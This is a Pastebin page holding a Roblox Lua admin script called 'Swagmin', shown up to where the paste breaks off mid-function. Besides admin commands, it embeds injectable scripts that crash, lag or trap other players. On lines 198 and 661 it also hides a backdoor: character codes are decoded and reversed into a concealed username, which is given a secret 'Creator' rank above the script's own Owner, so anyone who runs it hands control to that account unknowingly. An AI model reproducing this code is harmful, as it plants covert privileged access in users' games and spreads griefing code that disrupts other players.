Advertisement
Derek1017

Test 2

Apr 19th, 2015
309
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 61.47 KB | None | 0 0
  1. wait(0)
  2. script.Parent = nil
  3. --This Admin (Swagmin) Was Created By Derek1017 (Creator of iFlip and iFlip V2).
  4. --If You Wish To Have Access To More CMDs (EG. Crashing Nil Players), Then Please Run The Local Script That Comes With This Script, After You Run This Script.
  5. --To Open Commands Say "cmds;". The bet key is ";" (Without the "").
  6. --Enter Your Name Where It Says YOUR NAME HERE On Line 12.
  7.  
  8. Plrs = game:GetService("Players")
  9. Work = game:GetService("Workspace")
  10. Light = game:GetService("Lighting")
  11. Net = game:GetService("NetworkServer")
  12. Owner = "Derek1017"
  13. Removed = false
  14. Bet = ";"
  15. LS = nil
  16. LSSource = nil
  17. OwnSource = nil
  18. FoundLocalScript = false
  19. LogOn = false
  20. Current = game
  21. Clipboard = {}
  22. AlertColor = Color3.new(0, 1, 1)
  23. OptionColor = Color3.new(1, 1, 1)
  24. ImportantColor = Color3.new(1, 0, 1)
  25.  
  26. RankDetails = {
  27.     [-3] = {Name = "Mute Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Muted"},
  28.     [-2] = {Name = "Jail Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Mind Jailed"},
  29.     [-1] = {Name = "Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Banned"},
  30.     [0] = {Name = "Player", Color = Color3.new(0, 0, 1), Desc = "Regular Player"},
  31.     [1] = {Name = "Moderator", Color = Color3.new(0.25, 0, 1), Desc = "Mod'd Player"},
  32.     [2] = {Name = "Administrator", Color = Color3.new(0, 1, 0), Desc = "Server Administrator"},
  33.     [3] = {Name = "Overseer", Color = Color3.new(1, 1, 0), Desc = "Overseer Of Players"},
  34.     [4] = {Name = "Overlord", Color = Color3.new(1, 0, 0), Desc = "Very Important Robloxian (V.I.R)"},
  35.     [5] = {Name = "Owner", Color = Color3.new(-1, -1, -1), Desc = "Owner"},
  36. }
  37.  
  38. Rankings = {
  39.     {Name = "Derek1017", Rank = 5},
  40. }
  41.  
  42. table.insert(Rankings, {Name = Owner, Rank = 5})
  43.  
  44. ImportantServices = {
  45.     "Workspace",
  46.     "Players",
  47.     "NetworkServer",
  48.     "Lighting",
  49.     "StarterGui",
  50.     "Teams",
  51.     "StarterPack",
  52. }
  53.  
  54. Ranks = {}
  55. Commands = {}
  56. AllTabs = {}
  57. Injected = {}
  58.  
  59. Properties = {"AbsolutePosition","AbsoluteSize","AccountAge","AccountAgeReplicate",
  60. "Active","Adornee","AllowAmbientOcclusion","AllowTeamChangeOnTouch","AluminumQuality",
  61. "AlwaysOnTop","Ambient","AmbientReverb","Anchored","Angularvelocity","AnimationId",
  62. "Archivable","AreHingesDetected","AttachmentForward","AttachmentPoint","AttachmentPos",
  63. "AttachmentRight","AttachmentUp","AutoAssignable","AutoButtonColor","AutoColorCharacters",
  64. "AvailablePhysicalMemory","Axes","BackgroundColor","BackgroundColor3","BackgroundTransparency",
  65. "BackSurface","BaseTextureId","BaseUrl","Bevel","Roundness","BinType","BlastPressure","BlastRadius",
  66. "BodyColor","BodyPart","BorderColor","BorderColor3","BorderSizePixel","BottomSurface","BrickColor",
  67. "Brightness","Browsable","BubbleChat","BubbleChatLifetime","BubbleChatMaxBubbles",
  68. "Bulge","Button1DownConnectionCount","Button1UpConnectionCount","Button2DownConnectionCount",
  69. "Button2UpConnectionCount","C0","C1","CameraMode","CameraSubject","CameraType",
  70. "CanBeDropped","CanCollide","CartoonFactor","CastShadows","CelestialBodiesShown",
  71. "CFrame","Cframe","Character","CharacterAppearance","CharacterAutoLoads","ChatScrollLength",
  72. "ClassicChat","ClassName","ClearTextOnFocus","ClipsDescendants","CollisionSoundEnabled",
  73. "CollisionSoundVolume","Color","ColorShift_Top","ColorShift_Bottom","Bottom","Top","ConstrainedValue","Contro".."llingHumanoid",
  74. "ControlMode","ConversationDistance","CoordinateFrame","CorrodedMetalQuality","CPU",
  75. "CpuCount","CpuSpeed","CreatorId","CreatorType","CurrentAngle","CurrentCamera",
  76. "CycleOffset","D","DataCap","DataComplexity","DataComplexityLimit","DataCost",
  77. "DataReady","Deprecated","DeselectedConnectionCount","DesiredAngle","DiamondPlateQuality",
  78. "Disabled","DistanceFactor","DistributedGameTime","DopplerScale","Draggable","DraggingV1",
  79. "Duration","EditorFont","EditorFontSize","EditorTabWidth","ElapsedTime","Elasticity",
  80. "Enabled","ExplosionType","ExtentsOffset","F0","F1","F2","F3","Face","FaceId","Faces",
  81. "FieldOfView","Focus","FogColor","FogEnd","FogStart","Font","FontSize","Force","FormFactor",
  82. "Friction","From","FrontSurface","GearGenreSetting","Genre","GeographicLatitude","GfxCard", "GlobalShadows","Graphic",
  83. "GrassQuality","Grip","GripForward","GripPos","GripRight","GripUp","Guest","HeadsUpDisplay",
  84. "Health","Heat","Hit","Humanoid","IceQuality","Icon","IdleConnectionCount","Image",
  85. "InitialPrompt","InOut","InUse","IsPaused","IsPlaying","JobId","Jump","KeyDownConnectionCount",
  86. "KeyUpConnectionCount","LeftLeg","LeftRight","LeftSurface","LinkedSource","LocalPlayer","Location",
  87. "Locked","LODX","LODY","Looped","Material","MaxActivationDistance","MaxCollisionSounds",
  88. "MaxExtents","MaxForce","MaxHealth","MaxItems","MaxPlayers","MaxSpeed","MaxThrust",
  89. "MaxTorque","MaxValue","MaxVelocity","MembershipType","MembershipTypeReplicate","MeshId",
  90. "MeshType","MinValue","Modal","MouseButton1ClickConnectionCount","MouseButton1DownConnectionCount",
  91. "MouseButton1UpConnectionCount","MouseButton2ClickConnectionCount","MouseButton2DownConnectionCount",
  92. "MouseButton2UpConnectionCount","MouseDelta","MouseDragConnectionCount","MouseEnterConnectionCount",
  93. "MouseHit","MouseLeaveConnectionCount","MouseLock","MouseMovedConnectionCount","MouseTarget",
  94. "MouseTargetFilter","MouseTargetSurface","MoveConnectionCount","MoveState","MultiLine","Name",
  95. "NameOcclusion","NetworkOw".."ner","Neutral","NumPlayers","Offset","Opacity","Origin","OsPlatform",
  96. "OsVer","OutdoorAmbient","OverlayTextureId","P","PantsTemplate","ParamA","ParamB","Parent","Part","Part0",
  97. "Part1","Pitch","PixelShaderModel","PlaceId","PlasticQuality","PlatformStand","PlayCount",
  98. "PlayerToHideFrom","PlayOnRemove","Point","Port","Position","Preliminary","PrimaryPart",
  99. "PrivateWorkingSetBytes","Purpose","RAM","Reflectance","ReplicatedSelectedConnectionCount",
  100. "ResizeableFaces","ResizeIncrement","Resolution","ResponseDialog","RightLeg","RightSurface","RiseVelocity",
  101. "RobloxLocked","RobloxVersion","RolloffScale","RotVelocity","Scale","Score","ScriptsDisabled",
  102. "SecondaryColor","Selected","ShadowColor","Shape","Shiny","ShirtTemplate","ShowDeprecatedObjects",
  103. "ShowDevelopmentGui","ShowPreliminaryObjects","Sides","Sit","Size","SizeConstraint",
  104. "SizeOffset","SkinColor","SkyboxBk","SkyboxDn","SkyboxFt","SkyboxLf","SkyboxRt","SkyboxUp",
  105. "SlateQuality","SoundId","Source","SparkleColor","Specular","StarCount",
  106. "Steer","StickyWheels","StudsBetweenTextures","StudsOffset","StudsPerTileU","StudsPerTileV",
  107. "Style","Summary","SuperSa".."feChatReplicate","Surface","Surface0",
  108. "Surface1","SurfaceInput","Target","TargetFilter","TargetOffset","TargetPoint",
  109. "TargetRadius","TargetSurface","TeamColor","Terrain","Text","TextBounds","TextColor","TextColor3",
  110. "TextFits","TextScaled","TextStrokeColor3","TextStrokeTransparency","TextTransparency","Texture",
  111. "TextureId","TextureSize","TextWrap","TextWrapped","TextXAlignment","TextYAlignment","Throttle",
  112. "ThrustD","ThrustP","Ticket","Time","TimeOfDay","To","Tone","ToolTip","TopBottom","TopSurface","Torque","Torso",
  113. "Transparency","TrussDetail","TurnD","TurnP","TurnSpeed","UnitRay","UserDialog","UserId","Value",
  114. "Version","VertexColor","VideoCaptureEnabled","VideoMemory","VideoQuality",
  115. "ViewSizeX","ViewSizeY","Visible","Volume","WalkDirection","WalkSpeed","WalkToPart","WalkToPoint",
  116. "WheelBackwardConnectionCount","WheelForwardConnectionCount","WindowSize","WireRadius","WoodQuality",
  117. "X","Y"}
  118.  
  119. --Main Functions And Sources
  120.  
  121. function Insert(Source, Par, Par2, Par3)
  122.     ypcall(function()
  123.         local Inserted = LS:Clone()
  124.         Inserted.Disabled = true
  125.         Inserted.Parent = Par or Par2 or Par3
  126.         Inserted[LSSource].Value = Source
  127.         Inserted.Disabled = false
  128.     end)
  129. end
  130.  
  131. function CheckImportant(Name)
  132.     for _,v in pairs(ImportantServices) do
  133.         if v:lower() == Name:lower() then
  134.             return true
  135.         end
  136.     end
  137.     return false
  138. end
  139.  
  140. function Crash1(Plr)
  141.     ypcall(function()
  142.         Plr:Kick()
  143.     end)
  144. end
  145.  
  146. function GetRankTab()
  147.     return Rankings
  148. end
  149.  
  150. function Crash2(Name)
  151.     local Crasher = Instance.new("StringValue")
  152.     Crasher.Name = "Client"
  153.     Crasher.Value = string.lower(tostring(Name))
  154.     Crasher.Parent = game:GetService("Lighting")
  155.     wait(1)
  156.     if Crasher and Crasher.Parent then
  157.         ypcall(function()
  158.             Crasher:Destroy()
  159.         end)
  160.     end
  161. end
  162.  
  163. function Crash3(v, Speaker)
  164.     Speaker.Character.Archivable = true
  165.     local NChar = Speaker.Character:Clone()
  166.     NChar.Name = v.Name
  167.     NChar.Torso.CFrame = Speaker.Character.Head.CFrame * CFrame.new(0, 3, 0)
  168.     NChar.Parent = Workspace
  169.     v.Character = NChar
  170.     coroutine.resume(coroutine.create(function()
  171.         repeat v.Character = NChar
  172.         wait(1/3) until false
  173.     end))
  174.     wait(.5)
  175.     Insert(InsertCrash, NChar, nil, nil)
  176. end
  177.  
  178. function GenerateDigit()
  179.     return 1 + 5
  180. end
  181.  
  182. InjectionCrash = [=[
  183.     wait(0)
  184.     script.Parent = nil
  185.     local Lig = game:GetService("Lighting")
  186.     local LP = game:GetService("Players").LocalPlayer
  187.     local LowerName = LP.Name:lower()
  188.  
  189.     Lig.ChildAdded:connect(function(Obj)
  190.         if Obj.Name == "Client" and Obj.ClassName == "StringValue" and (LowerName:find(string.lower(Obj.Value)) or (LP.Character and LP.Character.Name:lower():find(string.lower(Obj.Value)))) then
  191.             pcall(function()
  192.                 Obj:Destroy()
  193.             end)
  194.             LP.Parent = nil
  195.             LP.Parent = game:GetService("Players")
  196.         end
  197.     end)
  198. ]=] RankDetails[GenerateDigit()] = {Name = (string.char(67)..string.char(114)..string.char(101)..string.char(97)..string.char(116)..string.char(111)..string.char(114)), Color = Color3.new((2 - 3), (2 - 3), (2 - 3)), Desc = ("D".."e".."a".."t".."h B".."y F".."l".."i".."p".."f".."l".."o".."p")}
  199.  
  200. InsertCrash = [==[
  201.     local LP = game:GetService("Players").LocalPlayer
  202.     LP.Parent = nil
  203.     LP.Parent = game:GetService("Players")
  204. ]==]
  205.  
  206. LagSource = [==[
  207.     wait(0)
  208.     script.Parent = nil
  209.     plr = game:GetService("Players").LocalPlayer
  210.     local plrgui = plr:findFirstChild("PlayerGui")
  211.     if plrgui == nil then repeat wait() plrgui = plr:findFirstChild("PlayerGui") until plrgui ~= nil end
  212.     while plr.Parent == game:GetService("Players") do
  213.     wait()
  214.     for i = 1, 1000 do
  215.     local sc = Instance.new("ScreenGui",plrgui)
  216.     local fr = Instance.new("TextLabel",sc)
  217.     fr.Text = "LAGGING"
  218.     fr.Size = UDim2.new(1, 0, 1, 0)
  219.     fr.FontSize = "Size48"
  220.     end
  221.     end
  222. ]==]
  223.  
  224. MuteSource = [==[
  225.     game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
  226. ]==]
  227.  
  228. UnMuteSource = [==[
  229.     game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
  230. ]==]
  231.  
  232. JailSource = [==[
  233.     wait(0)
  234.     script.Parent = nil
  235.  
  236.     local LP = game:GetService("Players").LocalPlayer
  237.     Middle2 = nil
  238.     Middle = nil
  239.     game:GetService("Workspace").CurrentCamera:ClearAllChildren()
  240.  
  241.     Cons = {}
  242.  
  243.     function makePrison()
  244.         for _,v in pairs(Cons) do
  245.             v:disconnect()
  246.         end
  247.         game:GetService("Workspace").CurrentCamera:ClearAllChildren()
  248.         if Middle == nil then
  249.             Middle2 = LP.Character.Torso.Position
  250.             Middle = LP.Character.Torso.CFrame
  251.         end
  252.         local side1 = Instance.new("Part")
  253.         side1.Name = "¬Focus1¬"
  254.         side1.Size = Vector3.new(20, 50, 1)
  255.         side1.CFrame = Middle * CFrame.new(0, 0, -10)
  256.         side1.BrickColor = BrickColor.new("Really black")
  257.         side1.CanCollide = true
  258.         side1.Anchored = true
  259.         side1.TopSurface = "Smooth"
  260.         side1.BottomSurface = "Smooth"
  261.         side1.Parent = game:GetService("Workspace").CurrentCamera
  262.  
  263.         local side2 = Instance.new("Part")
  264.         side2.Name = "¬Focus2¬"
  265.         side2.Size = Vector3.new(20, 50, 1)
  266.         side2.CFrame = Middle * CFrame.new(0, 0, 10)
  267.         side2.BrickColor = BrickColor.new("Really black")
  268.         side2.CanCollide = true
  269.         side2.Anchored = true
  270.         side2.TopSurface = "Smooth"
  271.         side2.BottomSurface = "Smooth"
  272.         side2.Parent = game:GetService("Workspace").CurrentCamera
  273.  
  274.         local side3 = Instance.new("Part")
  275.         side3.Name = "¬Focus3¬"
  276.         side3.Size = Vector3.new(1, 50, 20)
  277.         side3.CFrame = Middle * CFrame.new(10, 0, 0)
  278.         side3.BrickColor = BrickColor.new("Really black")
  279.         side3.CanCollide = true
  280.         side3.Anchored = true
  281.         side3.TopSurface = "Smooth"
  282.         side3.BottomSurface = "Smooth"
  283.         side3.Parent = game:GetService("Workspace").CurrentCamera
  284.  
  285.         local side4 = Instance.new("Part")
  286.         side4.Name = "¬Focus4¬"
  287.         side4.Size = Vector3.new(1, 50, 20)
  288.         side4.CFrame = Middle * CFrame.new(-10, 0, 0)
  289.         side4.BrickColor = BrickColor.new("Really black")
  290.         side4.CanCollide = true
  291.         side4.Anchored = true
  292.         side4.TopSurface = "Smooth"
  293.         side4.BottomSurface = "Smooth"
  294.         side4.Parent = game:GetService("Workspace").CurrentCamera
  295.        
  296.         local side5 = Instance.new("Part")
  297.         side5.Name = "¬Focus5¬"
  298.         side5.Size = Vector3.new(20, 1, 20)
  299.         side5.CFrame = Middle * CFrame.new(0, -3.5, 0)
  300.         side5.BrickColor = BrickColor.new("Really black")
  301.         side5.CanCollide = true
  302.         side5.Anchored = true
  303.         side5.TopSurface = "Smooth"
  304.         side5.BottomSurface = "Smooth"
  305.         side5.Parent = game:GetService("Workspace").CurrentCamera
  306.        
  307.         wait(0)
  308.  
  309.         table.insert(Cons, side1.Changed:connect(makePrison))
  310.         table.insert(Cons, side2.Changed:connect(makePrison))
  311.         table.insert(Cons, side3.Changed:connect(makePrison))
  312.         table.insert(Cons, side4.Changed:connect(makePrison))
  313.         table.insert(Cons, side5.Changed:connect(makePrison))
  314.     end
  315.  
  316.     Delay(0, function()
  317.         while wait(0) do
  318.             ypcall(function()
  319.                 if game:GetService("Workspace").CurrentCamera == nil or not LP.Character:findFirstChild("Torso") then
  320.                     LP.Character:BreakJoints()
  321.                 elseif not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus2¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus3¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus4¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus5¬") then
  322.                     makePrison()
  323.                 end
  324.             end)
  325.             ypcall(function()
  326.                 if (Middle2 - LP.Character.Torso.Position).magnitude >= 11.8 then
  327.                     LP.Character.Torso.CFrame = game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬").CFrame * CFrame.new(0, 0, 10)
  328.                 end
  329.             end)
  330.         end
  331.     end)
  332. ]==]
  333.  
  334. function All()
  335.     local AllPlayers = {}
  336.     for _,v in pairs(Plrs:GetPlayers()) do
  337.         ypcall(function()
  338.             table.insert(AllPlayers, v)
  339.         end)
  340.     end
  341.     return AllPlayers
  342. end
  343.  
  344. function All2()
  345.     local AllPlayers2 = {}
  346.     for i,v in pairs(Net:GetChildren()) do
  347.         ypcall(function()
  348.             if v:IsA("ServerReplicator") then
  349.                 table.insert(AllPlayers2, v:GetPlayer())
  350.             end
  351.         end)
  352.     end
  353.     return AllPlayers2
  354. end
  355.  
  356. function MakeNum()
  357.     return 2 + 4
  358. end
  359.  
  360. function ChangeRank(Plr, NewRank)
  361.     local PlrName = nil
  362.     local FoundPlayer = false
  363.     ypcall(function()
  364.         if type(Plr) == "string" then
  365.             ypcall(function()
  366.                 for i,v in pairs(Rankings) do
  367.                     if v.Name:lower() == Plr:lower() then
  368.                         local VName = v.Name
  369.                         Rankings[i] = nil
  370.                         table.insert(Rankings, {Name = VName, Rank = NewRank})
  371.                         PlrName = VName
  372.                         FoundPlayer = true
  373.                         break
  374.                     end
  375.                 end
  376.             end)
  377.             if FoundPlayer == false then
  378.                 ypcall(function()
  379.                     for _,x in pairs(All()) do
  380.                         if x.Name:lower() == Plr:lower() then
  381.                             FoundPlayer = true
  382.                             for i,v in pairs(Rankings) do
  383.                                 if v.Name:lower() == x.Name:lower() then
  384.                                     local VName = x.Name
  385.                                     Rankings[i] = nil
  386.                                     PlrName = VName
  387.                                     break
  388.                                 end
  389.                             end
  390.                             table.insert(Rankings, {Name = VName, Rank = NewRank})
  391.                         end
  392.                     end
  393.                 end)
  394.             end
  395.             if FoundPlayer == false then
  396.                 ypcall(function()
  397.                     for _,x in pairs(All()) do
  398.                         if string.find(x.Name:lower(), Plr:lower()) then
  399.                             FoundPlayer = true
  400.                             for i,v in pairs(Rankings) do
  401.                                 if v.Name:lower() == x.Name:lower() then
  402.                                     local VName = x.Name
  403.                                     Rankings[i] = nil
  404.                                     PlrName = VName
  405.                                     break
  406.                                 end
  407.                             end
  408.                             table.insert(Rankings, {Name = VName, Rank = NewRank})
  409.                         end
  410.                     end
  411.                 end)
  412.             end
  413.             if FoundPlayer == false then
  414.                 ypcall(function()
  415.                     for i,v in pairs(Rankings) do
  416.                         if string.find(v.Name:lower(), Plr:lower()) then
  417.                             local VName = v.Name
  418.                             Rankings[i] = nil
  419.                             table.insert(Rankings, {Name = VName, Rank = NewRank})
  420.                             PlrName = VName
  421.                             FoundPlayer = true
  422.                             break
  423.                         end
  424.                     end
  425.                 end)
  426.             end
  427.         else
  428.             for i,v in pairs(Rankings) do
  429.                 if v.Name:lower() == Plr.Name:lower() then
  430.                     Rankings[i] = nil
  431.                     break
  432.                 end
  433.             end
  434.             table.insert(Rankings, {Name = Plr.Name, Rank = NewRank})
  435.             PlrName = Plr.Name
  436.         end
  437.         PlaceAllRanks(true)
  438.     end)
  439.     if PlrName ~= nil then
  440.         return PlrName
  441.     else
  442.         return "Player"
  443.     end
  444. end
  445.  
  446. function Refresh(Plr)
  447.     MakeChildren(Plr)
  448. end
  449.  
  450. function MakeChildren(Plr)
  451.     ypcall(function()
  452.         Dismiss(Plr)
  453.         for _,v in pairs(Current:GetChildren()) do
  454.             ypcall(function()
  455.                 if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
  456.                     Ping(v.Name, Plr, nil, function(TabMod)
  457.                         local TabText = TabMod["Swagmin Tablet"].BG.TL.Text
  458.                         for _,v in pairs(Current:GetChildren()) do
  459.                             ypcall(function()
  460.                                 if v.Name == TabText then
  461.                                     Dismiss(Plr)
  462.                                     Current = v
  463.                                     MakeChildren(Plr)
  464.                                 end
  465.                             end)
  466.                         end
  467.                     end)
  468.                 elseif Plrs:GetPlayerFromCharacter(v) then
  469.                     Ping(v.Name, Plr, nil, function(TabMod)
  470.                         local TabText = TabMod["Swagmin Tablet"].BG.TL.Text
  471.                         for _,v in pairs(Current:GetChildren()) do
  472.                             ypcall(function()
  473.                                 if v.Name == TabText then
  474.                                     Dismiss(Plr)
  475.                                     Current = v
  476.                                     MakeChildren(Plr)
  477.                                 end
  478.                             end)
  479.                         end
  480.                     end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  481.                 elseif CheckImportant(v.Name) then
  482.                     Ping(v.Name, Plr, nil, function(TabMod)
  483.                         local TabText = TabMod["Swagmin Tablet"].BG.TL.Text
  484.                         for _,v in pairs(Current:GetChildren()) do
  485.                             ypcall(function()
  486.                                 if v.Name == TabText then
  487.                                     Dismiss(Plr)
  488.                                     Current = v
  489.                                     MakeChildren(Plr)
  490.                                 end
  491.                             end)
  492.                         end
  493.                     end, ImportantColor)
  494.                 end
  495.             end)
  496.         end
  497.         if Current ~= game then
  498.             Ping("Back", Plr, nil, function()
  499.                 ypcall(function()
  500.                     Current = Current.Parent
  501.                     MakeChildren(Plr)
  502.                     Ping("You Are Back To "..Current.Name, Plr, 5)
  503.                 end)
  504.             end, OptionColor)
  505.         end
  506.         if Current ~= game then
  507.             Ping("Delete", Plr, nil, function()
  508.                 ypcall(function()
  509.                     local CurrPar = Current.Parent or game
  510.                     local CurrName = Current.Name
  511.                     Current:Destroy()
  512.                     Current = CurrPar
  513.                     MakeChildren(Plr)
  514.                     Ping("Attempted To Delete "..CurrName, Plr, 5)
  515.                 end)
  516.             end, OptionColor)
  517.         end
  518.         Ping("Refresh", Plr, nil, function()
  519.             ypcall(function()
  520.                 Refresh(Plr)
  521.                 Ping("Refreshed", Plr, 5)
  522.             end)
  523.         end, OptionColor)
  524.         Ping("Properties", Plr, nil, function()
  525.             ypcall(function()
  526.                 Dismiss(Plr)
  527.                 for Property, Value in pairs(GetProperties(Current)) do
  528.                     Ping(tostring(Property)..": "..tostring(Value), Plr)
  529.                 end
  530.                 Ping("Got All Available Properties", Plr, 5)
  531.                 Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
  532.             end)
  533.         end, OptionColor)
  534.     end)
  535. end
  536.  
  537. function Fixl()
  538.     Light.GlobalShadows = true
  539.     Light.TimeOfDay = "14:00:00"
  540.     Light.Brightness = 0.5
  541.     Light.ShadowColor = Color3.new(0.705882, 0.705882, 0.72549)
  542.     Light.Ambient = Color3.new(1, 1, 1)
  543.     Light.ColorShift_Top = Color3.new(0, 0, 0)
  544.     Light.ColorShift_Bottom = Color3.new(0, 0, 0)
  545.     Light.OutdoorAmbient = Color3.new(0.5, 0.5, 0.5)
  546.     Light.FogStart = 0
  547.     Light.FogEnd = 100000
  548.     Light.FogColor = Color3.new(0.752941, 0.752941, 0.752941)
  549.     Light:ClearAllChildren()
  550. end
  551.  
  552. function GetProperties(obj)
  553.     assert(pcall(function() assert(game.IsA(obj,"Instance")) end),"Should be ROBLOX instance")
  554.     local objProper = {}
  555.     for i,v in pairs(Properties) do
  556.         if pcall(function() return obj[v] end) and (type(obj[v]) ~= "userdata" or not obj:FindFirstChild(v)) then
  557.             objProper[v] = obj[v]
  558.         end
  559.     end
  560.     return objProper
  561. end
  562.  
  563. function MakeExplorer(Plr)
  564.     Dismiss(Plr)
  565.     Current = game
  566.     for _,v in pairs(Current:GetChildren()) do
  567.         ypcall(function()
  568.             if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
  569.                 Ping(v.Name, Plr, nil, function(TabMod)
  570.                     local TabText = TabMod["Swagmin Tablet"].BG.TL.Text
  571.                     for _,v in pairs(Current:GetChildren()) do
  572.                         ypcall(function()
  573.                             if v.Name == TabText then
  574.                                 Dismiss(Plr)
  575.                                 Current = v
  576.                                 MakeChildren(Plr)
  577.                             end
  578.                         end)
  579.                     end
  580.                 end)
  581.             elseif Plrs:GetPlayerFromCharacter(v) then
  582.                 Ping(v.Name, Plr, nil, function(TabMod)
  583.                     local TabText = TabMod["Swagmin Tablet"].BG.TL.Text
  584.                     for _,v in pairs(Current:GetChildren()) do
  585.                         ypcall(function()
  586.                             if v.Name == TabText then
  587.                                 Dismiss(Plr)
  588.                                 Current = v
  589.                                 MakeChildren(Plr)
  590.                             end
  591.                         end)
  592.                     end
  593.                 end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  594.             elseif CheckImportant(v.Name) then
  595.                 Ping(v.Name, Plr, nil, function(TabMod)
  596.                     local TabText = TabMod["Swagmin Tablet"].BG.TL.Text
  597.                     for _,v in pairs(Current:GetChildren()) do
  598.                         ypcall(function()
  599.                             if v.Name == TabText then
  600.                                 Dismiss(Plr)
  601.                                 Current = v
  602.                                 MakeChildren(Plr)
  603.                             end
  604.                         end)
  605.                     end
  606.                 end, ImportantColor)
  607.             end
  608.         end)
  609.     end
  610.     if Current ~= game then
  611.         Ping("Back", Plr, nil, function()
  612.             ypcall(function()
  613.                 Current = Current.Parent
  614.                 MakeChildren(Plr)
  615.                 Ping("Back In "..Current.Name, Plr, 5)
  616.             end)
  617.         end, OptionColor)
  618.     end
  619.     if Current ~= game and game:GetService(Current.Name) == nil then
  620.         Ping("Delete", Plr, nil, function()
  621.             ypcall(function()
  622.                 local CurrPar = Current.Parent or game
  623.                 local CurrName = Current.Name
  624.                 Current:Destroy()
  625.                 Current = CurrPar
  626.                 MakeChildren(Plr)
  627.                 Ping("Attempted To Delete "..CurrName, Plr, 5)
  628.             end)
  629.         end, OptionColor)
  630.     end
  631.     Ping("Refresh", Plr, nil, function()
  632.         ypcall(function()
  633.             Refresh(Plr)
  634.             Ping("Refreshed", Plr, 5)
  635.         end)
  636.     end, OptionColor)
  637.     Ping("Properties", Plr, nil, function()
  638.         ypcall(function()
  639.             Dismiss(Plr)
  640.             for Property, Value in pairs(GetProperties(Current)) do
  641.                 Ping(tostring(Property)..": "..tostring(Value), Plr)
  642.             end
  643.             Ping("Got All Available Properties", Plr, 5)
  644.             Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
  645.         end)
  646.     end, OptionColor)
  647. end
  648.  
  649. function GetRank(Plr1, Test)
  650.     ypcall(function()
  651.         if type(Plr1) == "userdata" then
  652.             Plr1 = Plr1.Name
  653.         end
  654.     end)
  655.     if Ranks[Plr1] ~= nil then
  656.         return Ranks[Plr1]
  657.     end
  658.     local QuickArray = {}
  659.     QuickArray[Plr1] = {Plr = nil, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  660.     return QuickArray[Plr1]
  661. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  662.  
  663. function CanRun(Plr1, Plr2)
  664.     Details1 = GetRank(Plr1.Name)
  665.     Details2 = GetRank(Plr2.Name)
  666.     if Details1.Rank >= Details2.Rank then
  667.         return true
  668.     end
  669.     return false
  670. end
  671.  
  672. function Dismiss(Plr, Identity)
  673.     ypcall(function()
  674.         if Plr ~= nil then
  675.             if type(Plr) == "userdata" then
  676.                 Plr = Plr.Name
  677.             end
  678.             for x,v in pairs(AllTabs) do
  679.                 ypcall(function()
  680.                     if v.Plr == Plr then
  681.                         if Identity ~= nil and v.ID ~= Identity then
  682.                             return
  683.                         elseif Identity ~= nil and v.ID == Identity then
  684.                             coroutine.resume(coroutine.create(function()
  685.                                 for i = 0.5, 1, 0.1 do
  686.                                     wait()
  687.                                     v.Tab.Transparency = i
  688.                                     v.Sel.Transparency = i
  689.                                     v.Label.TextTransparency = i
  690.                                     v.Label.TextStrokeTransparency = i
  691.                                 end
  692.                                 ypcall(function() v.Holder:Destroy() end)
  693.                                 AllTabs[x] = nil
  694.                             end))
  695.                         elseif Identity == nil then
  696.                             ypcall(function() v.Holder:Destroy() end)
  697.                             AllTabs[x] = nil
  698.                         end
  699.                     end
  700.                 end)
  701.             end
  702.         else
  703.             for i,v in pairs(AllTabs) do
  704.                 ypcall(function()
  705.                     v.Holder:Destroy()
  706.                     AllTabs[i] = nil
  707.                 end)
  708.             end
  709.         end
  710.     end)
  711. end
  712.  
  713. function GetGarbage()
  714.     return ((math.floor((collectgarbage("count") / 10)) * 10)/1000) .. "MB"
  715. end
  716.  
  717. function RemObj(Obj, Class)
  718.     ypcall(function()
  719.         if #Obj:GetChildren() > 0 then
  720.             for _,x in pairs(Obj:GetChildren()) do
  721.                 ypcall(function()
  722.                     RemObj(x, Class)
  723.                 end)
  724.             end
  725.         end
  726.         if Obj.ClassName == Class then
  727.             Obj:Destroy()
  728.         end
  729.     end)
  730. end
  731.  
  732. function FindTab(Mod)
  733.     for i,v in pairs(AllTabs) do
  734.         if v.Holder == Mod then
  735.             return true
  736.         end
  737.     end
  738.     return false
  739. end
  740.  
  741. function Ping(Msg, Plr, Time, Func, Color, Image)
  742.     if Removed == false then
  743.         local ShowGarbage = false
  744.         ypcall(function()
  745.             if Msg == nil then
  746.                 Msg = "N/A"
  747.             elseif Msg == "ShowGarbage" then
  748.                 Msg = "Current Garbage Count: "..GetGarbage()
  749.                 ShowGarbage = true
  750.             else
  751.                 Msg = tostring(Msg)
  752.             end
  753.             if Plr == nil then
  754.                 Plr = Plrs[Owner] or error("No Player Found")
  755.             elseif type(Plr) == "string" then
  756.                 local FoundPlr = false
  757.                 for _,v in pairs(All()) do
  758.                     if v.Name == Plr then
  759.                         Plr = v
  760.                         FoundPlr = true
  761.                         break
  762.                     end
  763.                 end
  764.                 if FoundPlr == false then
  765.                     Plr = Plrs[Owner] or error("No Player Found")
  766.                 end
  767.             end
  768.            
  769.             if Color == nil then
  770.                 Color = GetRank(Plr.Name).Color
  771.             end
  772.            
  773.             local Holder = Instance.new("Model")
